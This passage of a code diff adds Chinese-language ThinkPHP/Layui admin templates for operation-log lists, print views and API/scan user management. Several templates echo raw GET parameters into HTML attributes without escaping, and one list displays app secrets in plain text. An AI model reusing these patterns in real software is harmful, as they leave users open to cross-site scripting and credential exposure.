$('#info_pass_edit',window.parent.document).trigger('click');
});
</script>
</html>
+145
View File
@@ -0,0 +1,145 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">操作日志列表</a>
<!--<a href="javascript:;" class="list-two" data-id="2">添加代理</a>-->
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/log/admin" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<input type="text" name="username" id="username" placeholder="请输入操作人" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>编号</th>
<th>操作人</th>
<th>操作类型</th>
<th>操作描述</th>
<th>操作时间</th>
</tr>
</thead>
<tbody>
{foreach name="log_list" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.space_admin}</td>
<td>{$vo.control}</td>
<td>{$vo.remake}</td>
<td>{$vo.control_time}</td>
</tr>
{/foreach}
</tbody>
</table>
{$log_list->render()}
</div>
</body>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/log/admin';
// if(id == "2") location.href = '/agent/agent_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var username = qs["username"];
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(username == undefined){
username = '';
}
layer.open({
type: 2,
title:'操作日志列表打印',
content: '/log/admin_print?startDate='+startDate+'&endDate='+endDate+'&username='+username,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/log/admin?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&username="+username;
layer.close(index);
});
})
</script>
</html>
@@ -0,0 +1,30 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">操作日志列表</div>
<thead>
<tr>
<th style="text-align: center;">编号</th>
<th style="text-align: center;">操作人</th>
<th style="text-align: center;">操作类型</th>
<th style="text-align: center;">操作描述</th>
<th style="text-align: center;">操作时间</th>
</tr>
</thead>
<tbody>
{foreach name="log_list" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.space_admin}</td>
<td>{$vo.control}</td>
<td>{$vo.remake}</td>
<td>{$vo.control_time}</td>
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
+148
View File
@@ -0,0 +1,148 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">用户列表</a>
<a href="javascript:;" class="list-two" data-id="2">用户添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<table class="layui-table">
<thead>
<tr>
<th>编号</th>
<th>appid</th>
<th>秘钥</th>
<th>状态</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="admin_list" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.appid}</td>
<td>{$vo.appsecret}</td>
<td><?php if($vo['status'] == 1){echo '<span style="color:#43A72D">生效</span>';}else{echo '<span style="color:#f00">禁用</span>';} ?></td>
<td class="td-manage">
<a href="/log/api_admin_edit?id={$vo.id}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
</a>
<a onclick="change_status(this,'{$vo.id}')" href="javascript:;">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ADB6FF;">状态</span>
</a>
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$admin_list->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/log/api_admin';
if(id == "2") location.href = '/log/api_admin_add';
});
/*用户-删除*/
function member_del(obj, id) {
layer.confirm('确认要删除吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('删除用户出错!');
return false;
}
// 拼装数据
var query = new Object;
query.id = id;
// 发送数据到后台删除会员
var result = ajax('/log/api_admin_del',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
function change_status(obj, id) {
layer.confirm('确认要更改状态吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('更改用户出错!');
return false;
}
// 拼装数据
var query = new Object;
query.id = id;
// 发送数据到后台删除会员
var result = ajax('/log/api_admin_status',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,143 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">用户添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">appid:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">秘钥:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认秘钥:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 与秘钥保持一致</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">名称:</label>
<div class="controls">
<input id="L_name" name="L_name" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> *</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/log/api_admin';
if(id == "2") location.href = '/log/api_admin_add';
});
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var query = new Object();
query.appid = $('#L_username').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.name = $('#L_name').val();
// 验证数据
if(query.appid.length == 0){
layer.alert("请填写APPID");
return false;
}
if(query.pass.length < 6){
layer.alert("请填写超过6个字符串的秘钥");
return false;
}
if(query.pass != query.repass){
layer.alert("两次秘钥不一致!");
return false;
}
if(query.name.length <= 0){
layer.alert("请填写名称!");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/log/do_api_admin_add',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/log/api_admin";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,137 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">用户修改</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">appid:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value="{$admin.appid}" readonly maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">秘钥:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="text" value="{$admin.appsecret}" maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="text" value="{$admin.appsecret}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 与秘钥保持一致</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">名称:</label>
<div class="controls">
<input id="L_name" name="L_name" type="text" value="{$admin.name}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> *</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<!-- 隐藏参数 -->
<input type="hidden" id="id" value="{$admin.id}">
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/log/api_admin';
if(id == "2") location.href = '/log/api_admin_edit';
});
//监听提交
$('.submit').click(function () {
// 获取和拼装添加代理的数据
var query = new Object();
query.id = $('#id').val();
query.appid = $('#L_username').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.name = $('#L_name').val();
// 验证数据
if(query.pass.length > 0){
if(query.pass.length >= 6){
if(query.pass != query.repass){
layer.msg("两次密码不一致!");
return false;
}
}else{
layer.msg("密码不能少于6位字符!");
return false;
}
}
// 发送数据到后台添加会员
var result = ajax('/log/do_api_admin_edit',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = '/log/api_admin';
});
}else{
layer.msg(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
+145
View File
@@ -0,0 +1,145 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">操作日志列表</a>
<!--<a href="javascript:;" class="list-two" data-id="2">添加代理</a>-->
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/log/index" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<input type="text" name="username" id="username" placeholder="请输入操作人" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出 excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>编号</th>
<th>操作人</th>
<th>操作类型</th>
<th>操作描述</th>
<th>操作时间</th>
</tr>
</thead>
<tbody>
{foreach name="log_list" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.username}</td>
<td>{$vo.control}</td>
<td>{$vo.remake}</td>
<td>{$vo.control_time}</td>
</tr>
{/foreach}
</tbody>
</table>
{$log_list->render()}
</div>
</body>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/log/index';
// if(id == "2") location.href = '/agent/agent_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/log/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&username="+username;
layer.close(index);
});
})
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var username = qs["username"];
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(username == undefined){
username = '';
}
layer.open({
type: 2,
title:'操作日志列表打印',
content: '/log/user_print?startDate='+startDate+'&endDate='+endDate+'&username='+username,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
</script>
</html>
+176
View File
@@ -0,0 +1,176 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">用户列表</a>
<a href="javascript:;" class="list-two" data-id="2">用户添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<table class="layui-table">
<thead>
<tr>
<th>编号</th>
<th>appid</th>
<th>名称</th>
<th>备注</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="admin_list" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.appid}</td>
<td>{$vo.name}</td>
<td>{$vo.remake}</td>
<td class="td-manage">
<a href="/log/scan_admin_edit?id={$vo.id}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
</a>
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$admin_list->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/log/scan_admin';
if(id == "2") location.href = '/log/scan_admin_add';
});
/*用户-删除*/
function member_del(obj, id) {
layer.confirm('确认要删除吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('删除用户出错!');
return false;
}
// 拼装数据
var query = new Object;
query.scan_admin_id = id;
// 发送数据到后台删除会员
var result = ajax('/log/scan_admin_del',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var status = qs["status"];
var username = qs["username"];
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(status == undefined){
status = '';
}
if(username == undefined){
username = '';
}
layer.open({
type: 2,
title:'用户列表打印',
content: '/log/admin_print?startDate='+startDate+'&endDate='+endDate+'&status='+status+'&username='+username,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var status = $('#status').val();
var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/log/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&status="+status+"&&username="+username;
layer.close(index);
});
})
</script>
</body>
</html>
@@ -0,0 +1,154 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">用户添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">appid:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 将会成为您唯一的登入名</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 6到16个字符</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 与密码保持一致</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">名称:</label>
<div class="controls">
<input id="L_name" name="L_name" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> *</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">备注:</label>
<div class="controls">
<textarea id="L_remake" name="L_remake" type="text" value maxlength="50" minlength="3" class="required"></textarea>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/log/scan_admin';
if(id == "2") location.href = '/log/scan_admin_add';
});
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var query = new Object();
query.appid = $('#L_username').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.name = $('#L_name').val();
query.remake = $('#L_remake').val();
// 验证数据
if(query.appid.length == 0){
layer.alert("请填写账号!");
return false;
}
if(query.pass.length <= 0){
layer.alert("请填写密码!");
return false;
}
